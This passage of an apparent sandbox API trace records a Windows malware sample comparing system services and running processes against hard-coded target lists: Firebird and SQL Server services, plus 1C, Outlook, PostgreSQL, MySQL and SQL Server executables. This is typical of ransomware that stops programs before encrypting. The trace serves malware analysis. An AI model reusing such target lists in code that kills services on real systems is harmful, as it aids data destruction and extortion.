returned 8 [0169.415] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0169.415] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0169.415] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0169.415] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0169.415] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0169.415] lstrlenW (lpString="DPS") returned 3 [0169.415] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0169.415] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0169.415] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0169.415] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0169.415] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0169.415] lstrlenW (lpString="eventlog") returned 8 [0169.415] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0169.415] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0169.415] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0169.415] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0169.415] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0169.415] lstrlenW (lpString="EventSystem") returned 11 [0169.415] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0169.415] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0169.415] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0169.416] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0169.416] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0169.416] lstrlenW (lpString="gpsvc") returned 5 [0169.416] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0169.416] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0169.416] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0169.416] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0169.416] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0169.416] lstrlenW (lpString="iphlpsvc") returned 8 [0169.416] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0169.416] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0169.416] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0169.416] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0169.416] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0169.416] lstrlenW (lpString="LanmanServer") returned 12 [0169.416] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0169.416] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0169.416] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0169.416] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0169.416] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0169.416] lstrlenW (lpString="LanmanWorkstation") returned 17 [0169.416] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0169.416] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0169.416] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0169.416] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0169.416] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0169.416] lstrlenW (lpString="lmhosts") returned 7 [0169.417] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0169.417] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0169.417] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0169.417] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0169.417] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0169.417] lstrlenW (lpString="MMCSS") returned 5 [0169.417] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0169.417] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0169.417] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0169.417] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0169.417] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0169.417] lstrlenW (lpString="MpsSvc") returned 6 [0169.417] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0169.417] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0169.417] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0169.417] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0169.417] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0169.417] lstrlenW (lpString="Netman") returned 6 [0169.417] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0169.417] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0169.417] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0169.417] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0169.417] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0169.417] lstrlenW (lpString="netprofm") returned 8 [0169.417] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0169.417] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0169.417] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0169.418] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0169.418] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0169.418] lstrlenW (lpString="NlaSvc") returned 6 [0169.418] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0169.418] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0169.418] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0169.418] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0169.418] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0169.418] lstrlenW (lpString="nsi") returned 3 [0169.418] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0169.418] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0169.418] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0169.418] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0169.418] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0169.418] lstrlenW (lpString="PcaSvc") returned 6 [0169.418] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0169.418] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0169.418] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0169.418] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0169.418] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0169.418] lstrlenW (lpString="PlugPlay") returned 8 [0169.418] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0169.418] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0169.418] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0169.418] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0169.418] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0169.418] lstrlenW (lpString="Power") returned 5 [0169.418] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0169.418] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0169.418] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0169.419] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0169.419] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0169.419] lstrlenW (lpString="ProfSvc") returned 7 [0169.419] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0169.419] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0169.419] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0169.419] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0169.419] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0169.419] lstrlenW (lpString="RpcEptMapper") returned 12 [0169.419] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0169.419] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0169.419] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0169.419] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0169.419] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0169.419] lstrlenW (lpString="RpcSs") returned 5 [0169.419] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0169.419] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0169.419] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0169.419] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0169.419] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0169.419] lstrlenW (lpString="SamSs") returned 5 [0169.419] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0169.420] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0169.420] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0169.420] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0169.420] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0169.420] lstrlenW (lpString="Schedule") returned 8 [0169.420] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0169.420] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0169.420] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0169.420] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0169.420] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0169.420] lstrlenW (lpString="SENS") returned 4 [0169.420] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0169.420] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0169.420] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0169.420] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0169.420] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0169.420] lstrlenW (lpString="ShellHWDetection") returned 16 [0169.420] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0169.420] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0169.420] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0169.420] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0169.420] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0169.420] lstrlenW (lpString="Spooler") returned 7 [0169.420] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0169.420] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0169.420] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0169.420] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0169.420] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0169.420] lstrlenW (lpString="SysMain") returned 7 [0169.420] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0169.421] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0169.421] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0169.421] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0169.421] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0169.421] lstrlenW (lpString="Themes") returned 6 [0169.421] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0169.421] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0169.421] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0169.421] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0169.421] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0169.421] lstrlenW (lpString="TrkWks") returned 6 [0169.421] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0169.421] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0169.421] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0169.421] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0169.421] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0169.421] lstrlenW (lpString="UxSms") returned 5 [0169.421] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0169.421] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0169.421] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0169.421] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0169.421] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0169.421] lstrlenW (lpString="WdiServiceHost") returned 14 [0169.421] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0169.421] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0169.421] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0169.421] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0169.421] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0169.421] lstrlenW (lpString="WdiSystemHost") returned 13 [0169.422] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0169.422] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0169.422] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0169.422] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0169.422] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0169.422] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0169.422] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0169.422] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0169.422] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0169.422] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0169.422] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0169.422] lstrlenW (lpString="Winmgmt") returned 7 [0169.422] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0169.422] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0169.422] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0169.422] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0169.422] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0169.422] lstrlenW (lpString="WPDBusEnum") returned 10 [0169.422] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0169.422] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0169.422] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0169.422] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0169.422] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0169.422] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x41f77d0 | out: hHeap=0x300000) returned 1 [0169.422] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x344 [0169.424] Process32FirstW (in: hSnapshot=0x344, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0169.424] Process32NextW (in: hSnapshot=0x344, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x51, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0169.425] lstrlenW (lpString="System") returned 6 [0169.425] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0169.425] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0169.425] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0169.425] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0169.425] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0169.425] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0169.425] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0169.425] Process32NextW (in: hSnapshot=0x344, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0169.425] lstrlenW (lpString="smss.exe") returned 8 [0169.425] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0169.425] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0169.425] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0169.425] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0169.425] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0169.425] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0169.425] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0169.426] Process32NextW (in: hSnapshot=0x344, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0169.426] lstrlenW (lpString="csrss.exe") returned 9 [0169.426] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0169.426] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0169.426] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0169.426] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0169.426] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0169.426] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0169.426] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0169.426] Process32NextW (in: hSnapshot=0x344, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0169.426] lstrlenW (lpString="wininit.exe") returned 11 [0169.426] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0169.426] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0169.426] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0169.426] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0169.427] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0169.427] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0169.427] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0169.427] Process32NextW (in: hSnapshot=0x344, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0169.427] lstrlenW (lpString="csrss.exe") returned 9 [0169.427] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0169.427] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0169.427] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0169.427] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0169.427] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0169.427] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0169.427] Process32NextW (in: hSnapshot=0x344, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0169.428] lstrlenW (lpString="winlogon.exe") returned 12 [0169.428] Process32NextW (in: hSnapshot=0x344, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0169.428] lstrlenW (lpString="services.exe") returned 12 [0169.428] Process32NextW (in: hSnapshot=0x344, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0169.428] lstrlenW (lpString="lsass.exe") returned 9 [0169.428] Process32NextW (in: hSnapshot=0x344, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1dc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0169.429] lstrlenW (lpString="lsm.exe") returned 7 [0169.429] Process32NextW (in: hSnapshot=0x344, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0169.429] lstrlenW (lpString="svchost.exe") returned 11 [0169.429] Process32NextW (in: hSnapshot=0x344, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0169.429] lstrlenW (lpString="svchost.exe") returned 11 [0169.430] Process32NextW (in: hSnapshot=0x344, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0169.430] lstrlenW (lpString="svchost.exe") returned 11 [0169.430] Process32NextW (in: hSnapshot=0x344, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0169.430] lstrlenW (lpString="svchost.exe") returned 11 [0169.430] Process32NextW (in: hSnapshot=0x344, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x370, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2e, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0169.431] lstrlenW (lpString="svchost.exe") returned 11 [0169.431] Process32NextW (in: hSnapshot=0x344, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0169.431] lstrlenW (lpString="audiodg.exe") returned 11 [0169.431] Process32NextW (in: hSnapshot=0x344, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0169.431] lstrlenW (lpString="svchost.exe") returned 11 [0169.431] Process32NextW (in: hSnapshot=0x344, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x174, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0169.432] lstrlenW (lpString="svchost.exe") returned 11 [0169.432] Process32NextW (in: hSnapshot=0x344, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0169.432] lstrlenW (lpString="spoolsv.exe") returned 11 [0169.432] Process32NextW (in: hSnapshot=0x344, lppe=0x21ffd34 | out: lppe=0x21ffd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x468, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, 